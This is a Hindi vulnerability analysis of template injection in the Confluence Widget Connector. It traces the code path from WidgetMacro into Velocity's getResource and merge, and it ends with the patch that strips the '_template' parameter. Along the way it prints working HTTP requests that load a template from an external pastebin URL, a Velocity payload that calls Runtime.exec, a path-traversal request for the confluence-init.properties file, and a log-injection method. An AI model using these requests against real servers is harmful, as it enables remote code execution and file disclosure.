
Confluence अनधिकृत टेम्पलेट इंजेक्शन
confluence.home का मान बदलकर ./confluence/WEB-INF/classes/confluence-init.properties फ़ाइल में confluence home का पता सेट करें।CATALINA_OPTS मान जोड़ें।Windows के लिए, फ़ाइल ./bin/setenv.bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Linux के लिए, फ़ाइल ./bin/setenv.sh
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
Remote JVM Debug जिसमें host और port के मान localhost:5005 हों और Command line aguments for remote JVM के लिए निम्न हो:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
हमें lib में jar जोड़ने की आवश्यकता है: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar, ताकि डिबग करते समय हम आवश्यक source देख सकें।
हम ./bin/start-confluence.bat फ़ाइल चलाते हैं और आप source से इंस्टॉल करने के लिए यह मार्गदर्शिका देख सकते हैं।
विवरण पढ़ने के बाद, हम जान सकते हैं कि यह बग Widget Connector सुविधा से शुरू होता है, इसलिए मैंने तुरंत Google किया कि यह सुविधा क्या है और इसे कैसे उपयोग करें:
एक पेज एडिट करें

अन्य Macros चुनें
Widget connector चुनें

मैंने बेतरतीब पैरामीटर चुने और preview दबाया, फिर कुछ दिलचस्प देखने के लिए burp पर गया।

इस पैकेट में, मैंने एक पैरामीटर देखा "pluginKey":"com.atlassian.confluence.extra.widgetconnector", इसलिए मैंने अनुमान लगाया कि Widget Connector सुविधा class com.atlassian.confluence.extra.widgetconnector में परिभाषित है, इसलिए मैंने path में खोजा कि कोई संदिग्ध jar पैकेज है या नहीं।

मैंने source code पढ़ने और debug करने के लिए ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar फ़ाइल को project की lib में जोड़ने की कोशिश की।
lib में jar फ़ाइल जोड़ने का तरीका
widgetconnector पैकेज खोलने पर मुझे WidgetMacro class पसंद आया, इसलिए मैंने इस class के constructor और execute फ़ंक्शन पर breakpoint लगाया ताकि देख सकूँ कि Preview सुविधा का उपयोग करने पर यह class कॉल होता है या नहीं 🕵️

execute फ़ंक्शन कॉल हुआ, फिर प्रोग्राम DefaultRenderManager.getEmbeddedHtml को कॉल करता है।

हम देखते हैं कि if के अंदर जाने के लिए widgetRenderer.matches(url) शर्त पूरी करनी होगी। हम YoutubeRenderer class में widgetRenderer.matches(url) फ़ंक्शन की जाँच करते हैं।


इस प्रकार मुझे url पैरामीटर को youtube (या Vimeo, Twitter, ...) वीडियो के पथ के रूप में सेट करना होगा। मैंने url को किसी भी youtube वीडियो के url पर सेट किया और प्रोग्राम if में प्रवेश कर गया, फिर widgetRenderer.getEmbeddedHtml(url, params) फ़ंक्शन को कॉल किया (class YoutubeRenderer)।

प्रोग्राम setDefaultParam फ़ंक्शन पर जाता है; यहाँ हमें एक hidden पैरामीटर _template दिखता है जो संदिग्ध लगता है :)

setDefaultParam फ़ंक्शन से बाहर निकलने के बाद, प्रोग्राम DefaultVelocityRenderService.render फ़ंक्शन को कॉल करता है।

आगे getRenderedTemplate और VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap) फ़ंक्शन से गुजरते हैं।


आगे VelocityUtils.getRenderedTemplate(String templateName, Context context) और getRenderedTemplateWithoutSwallowingErrors(templateName, context) पर।

renderTemplateWithoutSwallowingErrors फ़ंक्शन

प्रोग्राम getTemplate फ़ंक्शन को कॉल करता है, फिर VelocityEngine.getTemplate और RuntimeInstance.getTemplate पर जाता है; यहाँ हम देखते हैं कि प्रोग्राम getResource फ़ंक्शन को कॉल करता है जिसका इनपुट पैरामीटर _template का मान है। Java में, getResource फ़ंक्शन का उपयोग local फ़ाइल या इंटरनेट पर मौजूद फ़ाइल (HTTP प्रोटोकॉल के माध्यम से) को load करने के लिए किया जा सकता है।
रुककर सोचते हैं: क्या यह attacker को request में _template पैरामीटर जोड़कर प्रोग्राम में कोई भी template (local server या attacker के host से) डालने की अनुमति देता है??

हम उल्टा trace करना जारी रखते हैं, यह देखने के लिए कि template मिलने के बाद प्रोग्राम उसे कैसे संसाधित करता है:
template मिलने के बाद, प्रोग्राम VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer); फ़ंक्शन को कॉल करता है।

और फिर template.merge(context, writer); पर।
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
SimpleNode.render को कॉल करता है; यह फ़ंक्शन template को parse करने के लिए Velocity template का उपयोग करता है। अब हम देख सकते हैं कि RCE PoC लिखना संभव है:Preview सुविधा का अनुरोध करते समय POST request पैकेट:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
payload फ़ाइल
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
इस प्रकार हमने इस बग का PoC फिर से सफलतापूर्वक किया, लेकिन यदि target एक ऐसा server है जो outbound connection को ब्लॉक करता है, तो attacker इंटरनेट से resource प्राप्त नहीं कर सकता; वह केवल server के local फ़ाइलों को resource के रूप में प्राप्त कर सकता है।
मुझे एक सुझाव मिला कि किसी तरह उपयोगकर्ता log फ़ाइल में payload inject कर सकता है। यह काफी अच्छा विचार है, इसलिए मैंने तुरंत तरीका खोजना शुरू कर दिया।

POST /rest/analytics/1.0/publish/bulk पैकेट कुछ key-value भेजता है जैसा ऊपर दिखाया गया है।[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
resourceTiming value को मनमाने ढंग से संपादित किया जा सकता है और फिर भी इसे log में दर्ज किया जाता है।
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
पैच में, WidgetMacro class में doSanitizeParameters फ़ंक्शन जोड़ा गया है जो renderManager.getEmbeddedHtml(url, parameters); कॉल करने से पहले "_template" पैरामीटर को हटा देता है।
